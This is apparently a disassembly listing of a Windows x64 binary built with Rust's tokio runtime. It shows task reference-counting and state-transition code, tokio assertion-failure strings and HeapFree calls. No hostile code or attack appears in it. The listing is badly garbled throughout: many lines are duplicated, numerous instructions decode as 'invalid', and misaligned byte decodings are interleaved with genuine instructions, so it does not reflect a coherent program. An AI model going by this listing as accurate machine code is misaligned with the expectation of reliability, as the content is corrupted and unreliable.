invalid
jns case.0x14006ba56.162
dec dword [rax - 0x39]
xor byte [rdx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x1400917ed
xor r12d, r12d
lea rdi, [rsi + 0x30]
movzx eax, byte [rsi + 0xd0]
test eax, eax
jne 0x14009128b
mov rax, qword [rdi + 0x10]
mov eax, dword [rdi + 0x10]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rdi]
adc byte [rdi], al
adc byte [rdi], al
invalid
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsi + 0x78]
mov qword [rsp + 0x78], rax
movups xmm1, xmmword [rsi + 0x48]
adc byte [rsi + 0x48], cl
adc byte [rsi + 0x48], cl
movups xmm2, xmmword [rsi + 0x58]
pop rax
movups xmm3, xmmword [rsi + 0x68]
movups xmmword [rsp + 0x68], xmm3
movups xmmword [rsp + 0x58], xmm2
movups xmmword [rsp + 0x48], xmm1
movups xmmword [rsi + 0x80], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x90], rax
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x48
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x48
mov qword [rsi + 0x98], rax
mov dword [rsi + 0x98], eax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rsi + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rsi + 0xb0], xmm0
mov rax, qword [rsp + 0x70]
mov qword [rsi + 0xc0], rax
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x78
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x78
mov qword [rsi + 0xc8], rax
lea r14, [rsi + 0x80]
lea esi, [rsi + 0x80]
lea rbx, [rsp + 0x80]
mov rcx, r14
mov rdx, rbx
call fcn.1400a5020
test al, al
je 0x140091692
mov byte [rsi + 0xd0], 3
mov eax, dword [0x14019f30c]
adc byte [rax], al
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x140091523
cmp eax, 1
je 0x140091502
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
mov esi, dword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
add eax, 0x86c64100
sub byte [rcx], al
add byte [rax], al
invalid
add al, ch
mov ebx, 0xc6410005
add eax, 0x86c64100
sub byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x10de0405], ecx
add al, 0xde
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov eax, dword [0x14019f30c]
add al, 0xde
adc byte [rax], al
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
mov rax, qword [rcx + rax*8]
ror dword [rcx + rcx*4 - 0x60], 0xf8
add byte [rax], al
add byte [rcx + rcx*4 - 0x48], cl
mov dword [rax + 0x100], edi
mov qword [rax + 0xf8], r12
mov qword [rax + 0x100], r15
mov dword [rax + 0x100], edi
mov dword [rax + 0x100], edi
lea r14, [rsi + 0x20]
lea esi, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
nop
test al, 1
je 0x140091938
add byte [rax + rax], al
invalid
add byte [rax + rax], al
add byte [rax + 0x48347520], ch
mov edx, eax
and rdx, 0xffffffffffffffde
test al, 4
add al, 0x75
invalid
test al, 0x20
jne 0x140091570
add al, 0x75
cmp rax, 0x3f
cmp rax, 0x3f
jbe 0x140091920
iretd
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
rol byte [rbp], 0xc0
rol byte [rbp], 0xc0
jmp case.0x14006b64f.176
add byte [rax], al
add byte [rax], al
mov r8b, 3
mov r9, rcx
mov ecx, ecx
mov ecx, ecx
leave
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
je 0x1400915b6
jmp 0x1400915c9
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x88
mov bh, 3
add byte [rax], al
invalid
test rax, rax
js 0x140091950
invalid
add byte [rax - 0x7d], cl
ret 0x4140
invalid
invalid
add rdx, 0x40
mov r8b, 1
mov r8b, 1
mov qword [rsp + 0x30], 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
invalid
mov r9, rbx
mov qword [r9], rdx
mov dword [rcx], edx
mov dword [rcx], edx
cmp dword [rsp + 0x30], 1
jl 0x1400915d6
xor byte [rcx], al
jne 0x1400915c9
mov rdx, qword [rsp + 0x80]
lock cmpxchg qword [rsi], rdx
and al, 0x80
add byte [rax], al
add al, dh
cmpxchg qword [rsi], rdx
jne 0x140091530
movzx eax, r8b
lea rcx, [0x14019456c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
mov rax, qword [rsi + 0x20]
add rax, 0x10
mov byte [rsp + 0x80], 1
add byte [rax], 0
add byte [rcx], al
and byte [rax - 0x7d], cl
rcl byte [rax], 0xc6
test byte [rax + rax*4], ah
add byte [rax], 0
add byte [rcx], al
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x80]
lea eax, [rsp + 0x80]
lea eax, [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x30]
xor al, ch
mov dl, 0x1e
invalid
call fcn.1401034c0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
clc
invalid
jbe 0x1400919a0
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400915db.0
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140091643
mov rcx, r14
call fcn.1400caa30
mov rcx, rdi
jmp 0x14009165f
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14009167a
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x1400915db.0
add byte [rax], al
add byte [rax], al
lea rcx, [rsi + 0x98]
call fcn.140058bc0
mov rcx, r14
int1
int1
call fcn.14005cdc0
mov byte [rsi + 0xd0], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400916d5
cmp eax, 1
je 0x140091702
xor r12d, r12d
jmp 0x140091732
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov qword [rax + 0x100], r15
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
mov qword [rax + 0x100], rcx
mov rcx, rdi
call fcn.140068da0
mov qword [rdi], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400917d2
cmp eax, 1
je 0x140091792
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
mov qword [rax + 0xf8], r12
mov qword [rax + 0x100], r15
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x48], cl
add byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rdi], r9b
adc byte [rax + 0xf8], dh
mov al, 0xf8
add byte [rax], al
invalid
mov rcx, qword [rsi + 0x28]
movups xmm6, xmmword [rax + 0xf8]
mov al, 0xf8
add byte [rax], al
invalid
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rcx
jmp 0x1400917d5
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068da0
mov qword [rsi + 0x30], 2
xor byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
invalid
je 0x140091858
cmp eax, 1
je 0x14009183e
invalid
sub eax, 0xdaf5058b
adc byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
add byte [rax], al
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
invalid
mov eax, dword [0x14019f30c]
enter 0x10da, 0
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
call 0x14007fdc0
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
push rdx
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140091b93
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140091bb2
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
or eax, 0x58d4c00
jrcxz 0x140091c67
or eax, 0x27ba00
add byte [rax], al
call fcn.140122660
push rcx
or cl, byte [rcx]
add ah, cl
push rcx
or cl, byte [rcx]
add ah, cl
push rsi
sub rsp, 0x20
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140091c86
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140091c7f
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
or byte [rbp + 9], dh
or byte [rbp + 9], dh
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140091c66
invalid
or cl, byte [rax - 0x75]
invalid
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
rcl edi, 9
invalid
rcl edi, 9
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
sub rsp, 0x30
movaps xmmword [rsp + 0x20], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
xor edx, edx
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
cmpxchg qword [rsi], rdx
jne 0x140091cc0
test cl, 3
je 0x140091d50
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd dword [rsi], eax
xadd dword [rsi], eax
cmp rax, 0x3f
jbe 0x140091f23
invalid
add byte [rax - 0x7d], cl
loopne 0x140091cb8
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140091d7c
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x140091d11
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
invalid
je 0x140091d30
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0xf0]
mov ecx, dword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
sbb eax, 0x310010d5
ror byte [rdi], cl
sub byte [rsp + 0x20], dh
sbb eax, 0x310010d5
ror byte [rdi], cl
sub byte [rsp + 0x20], dh
add rsp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
invalid
test eax, eax
je 0x140091d89
add dword [rax], eax
add byte [rbp + 0xf1774c0], al
push rdi
test byte [rbx + 0x3c7401f8], 0xeb
movapd xmm6, xmmword [rsp + 0x20]
xorps xmm6, xmm6
cmp eax, 1
je 0x140091db6
jmp 0x140091de2
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068da0
mov qword [rsi + 0x30], 3
mov dword [rsi + 0x30], 3
mov dword [rsi + 0x30], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140091e79
cmp eax, 1
je 0x140091e47
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
sbb al, 0xc1
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x140091e80
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068da0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
add byte [rax - 0x77], cl
pop rsi
push rax
add byte [rax - 0x77], cl
pop rsi
push rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140091f0f
invalid
cmp rax, 1
cmp eax, 1
je 0x140091ef5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
invalid
mov cl, 5
invalid
invalid
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
adc esp, edx
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x14007fdc0
popfq
fdivp st(6)
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
and eax, 0xcc000907
int3
sub dword [rsp + 0x90], esi
mov rsi, rcx
invalid
mov rax, qword [rcx]
jmp 0x140091f79
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je 0x140091fa4
test al, 4
je 0x140092577
invalid
add byte [rax], al
add al, 0xf
test dh, dh
add eax, 0x3a80000
je 0x140091f60
cmp rax, 0x3f
jbe 0x14009258f
xchg byte [rax], al
invalid
add byte [rax], al
xchg byte [rax], al
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
jne 0x140091f79
movzx eax, dl
lea rcx, [0x14019457c]
invalid
and eax, 0x63480010
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
invalid
stosb byte [rdi], al
or dword [0x1849267c5], 0x89483024
mov qword [rsp + 0x30], rax
invalid
invalid
je 0x140091feb
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
and al, 0x30
cmp byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rsi + 0xa0], 3
add byte [rax], al
add byte [rbx], al
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rbx], al
jae 0x1400925d7
and edi, 5
add byte [rax], al
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400921c3
invalid
lodsb al, byte [rsi]
add dword [rax], eax
invalid
test byte [rcx + rax - 0x74b80000], ch
add byte [rax - 0x75], cl
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14009204e
invalid
pop rsi
sub byte [rbx + 0x2e7401f8], al
invalid
mov eax, dword cs:[0x14019f30c]
mov eax, dword [0x14019f30c]
out 0xd2, al
adc byte [rax], al
mov rcx, qword gs:[0x58]
and eax, 0x58
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
fisubr dword [rdi - 0x39befffb]
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
fisubr dword [rdi - 0x39befffb]
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp case.0x1400895f5.94
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
add dword [rax], eax
add byte [rbx + 0x647402f8], al
clc
invalid
je 0x140092102
add dword [rax], eax
add byte [rbx + 0x647402f8], al
clc
invalid
je 0x140092102
clc
add dh, byte [rsp + riz*2 + 0x48]
mov edi, dword [rsi + 0x28]
jle 0x1400920ca
mov rdi, qword [rsi + 0x28]
jle 0x1400920ca
cmp eax, 1
je 0x1400920d4
invalid
sub eax, 0xd25f058b
adc byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rcx], al
scasd eax, dword [rdi]
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
jmp 0x140092105
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068450
mov byte [rsi + 0xa0], 4
add byte [rbx + rcx*4], al
add eax, 0x10d1ee
out dx, al
rcl dword [rax]
adc byte [rax], al
add byte [rbx + rcx*4], al
add eax, 0x10d1ee
out dx, al
rcl dword [rax]
adc byte [rax], al
out dx, al
rcl dword [rax]
adc byte [rax], al
mov rcx, qword gs:[0x58]
adc byte [rax], al
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x14009219b
invalid
cmp eax, 1
cmp eax, 1
je 0x140092169
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rbx, qword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rax], al
invalid
add al, ch
mov esi, 0xc60005ae
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x10d19d05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x1400921a2
invalid
add dword [rax], eax
add bl, ch
invalid
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068450
mov qword [rsi + 0x30], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
jmp case.0x14008f275.39
xorps xmm6, xmm6
push rdi
test byte [rax - 0x73], 0x5c
lea rbx, [rsp + 0x70]
lea rbx, [rsp + 0x70]
mov rcx, rdi
mov rdx, rbx
call fcn.14009e540
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
add byte [rax], al
add byte [rax], al
cmp ecx, 2
je case.0x14006ba56.171
push rbx
add dh, byte [rbx + rdx*2 - 0x7d]
stc
add dword [rdx + rsi - 0x77], esi
invalid
push rbx
cmp ecx, 1
je 0x14009222c
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
in eax, dx
invalid
mov eax, ebp
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
add byte [rax - 0x75], cl
or al, 0xca
movups xmmword [rcx + 0xf8], xmm6
clc
add byte [rax], al
add byte [rcx + 0xfc08401], dh
mov cl, 1
test al, al
je 0x140092343
invalid
invalid
mov cl, 1
test al, al
je 0x140092343
lea rcx, [rsi + 0x20]
mov rax, qword [rsi]
invalid
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
and byte [rax - 0x75], r9b
invalid
lea edx, [rsp + 0x40]
nop dword [rax]
test al, 1
je 0x1400925a7
add byte [rax], al
add byte [rax], al
test al, 0x20
jne 0x1400922a0
mov r8, rax
and r8, 0xffffffffffffffde
test al, 4
jne 0x1400922c0
invalid
ror byte [rcx - 0x7d], 0xe0
fisubr word [rax + 0x48497504]
cmp rax, 0x3f
cmp rax, 0x3f
jbe 0x14009258f
add eax, dword [rax]
add byte [rcx - 0x7d], cl
rol al, 0x49
ror byte [rcx - 0x7d], 0xf8
invalid
add r8, 0xffffffffffffffc0
cmp r8, 0x40
cmp eax, 0x40
ror byte [rcx - 0x7d], 0xf8
setb r9b
setb r9b
add r9b, r9b
jmp 0x1400922d0
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r9b, 3
mov r10, rdx
xor r8d, r8d
mov qword [r10], r8
cmp dword [rsp + 0x40], 1
je case.0x140090a05.22
jmp case.0x140090a05.19
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
js 0x1400925bf
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x7d], cl
rol byte [rax + 0x41], 0xb1
add dword [rax - 0x39], ecx
and al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
add r8, 0x40
mov r9b, 1
mov qword [rsp + 0x40], 1
add byte [rax], al
add byte [rcx - 0x77], cl
fimul dword [rbp - 0x77]
add al, byte [rbx + 0x140247c]
invalid
invalid
mov r10, rbx
mov qword [r10], r8
cmp dword [rsp + 0x40], 1
invalid
invalid
add dword [rbp + 0x10], esi
jne case.0x140090a05.19
mov r8, qword [rsp + 0x70]
lock cmpxchg qword [rsi], r8
jne 0x140092260
push 0xffffffffffffffff
invalid
movzx eax, r9b
mov dh, 0xc1
lea rdx, [0x14019458c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov rdx, rsi
mov edx, esi
call fcn.1400ff170
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14009260f
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140092308.0
mov rcx, rsi
call 0x14007e9d0
jmp case.0x140092308.0
cmp cl, 2
je 0x1400923b0
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x140092382
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
